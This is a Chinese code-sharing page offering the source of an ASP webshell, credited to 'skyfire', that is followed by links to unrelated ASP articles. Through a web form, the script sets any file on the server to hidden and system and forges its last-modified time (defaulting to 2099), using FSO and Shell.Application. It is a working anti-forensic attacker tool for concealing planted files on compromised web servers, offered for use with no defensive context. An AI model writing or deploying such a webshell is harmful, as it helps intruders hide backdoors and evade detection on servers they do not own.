asp 隱藏并修改文件的最后修改時間
更新時間:2009年04月18日 12:07:53 作者:
隱藏并修改文件的最后修改時間的asp-webshell

源碼:
復制代碼 代碼如下:
<%
'隱藏并修改文件的最后修改時間的aspshell
'原理:通過FSO可以修改文件的屬性,比如設置為只讀,隱藏,系統(tǒng)等等;FSO中的attributes屬性修改文件屬性,1只讀,2隱藏,4系統(tǒng)文件
' 通過shell.application可以給文件重新設置一個最后修改時間
'2009/02/24 write by skyfire
response.write "<form method=post>"
response.write "路 徑:<input name=path value='"&server.mappath("/")&"' size='30'>(一定要以\結尾)<br />"
response.write "文件名稱:<input name=filename value='test.txt' size='30'><br />"
response.write "修改時間:<input name=time value='12/30/2099 12:30:30' size='30'><br />"
response.write "<input type=submit value=修改并隱藏文件>"
response.write "</form>"
'獲取提交的參數
set path=request.Form("path")
set fileName=request.Form("filename")
set newTime=request.Form("time")
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
'通過fso設置文件屬性
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set file=fso.getFile(path&fileName)
file.attributes=2+4 '設置文件屬性為隱藏+系統(tǒng)
'通過shell.Application修改文件的最后修改時間
Set shell=Server.CreateObject("Shell.Application")
Set app_path=shell.NameSpace(server.mappath("."))
Set app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
end if
%>
相關文章
asp取動態(tài)表單中數據并寫入xml文件,用xsl顯示
asp取動態(tài)表單中數據并寫入xml文件,用xsl顯示...2006-09-09CreateKeyWord asp實現的由給定的字符串生成關鍵字的代碼
CreateKeyWord asp實現的由給定的字符串生成關鍵字的代碼...2007-09-09使用innerHTML時注意處理空格和回車符(asp后臺處理)
innerHTML中如果包含空格和回車都會被認為是段落的結束,造成程序運行出錯,解決辦法,輸出的時候將空格和回車替換掉,方便js調用。2011-08-08asp中用insert into語句向數據庫插入記錄(添加信息)的方法
asp中用insert into語句向數據庫插入記錄信息的方法,學習的朋友可以參考下。2010-09-09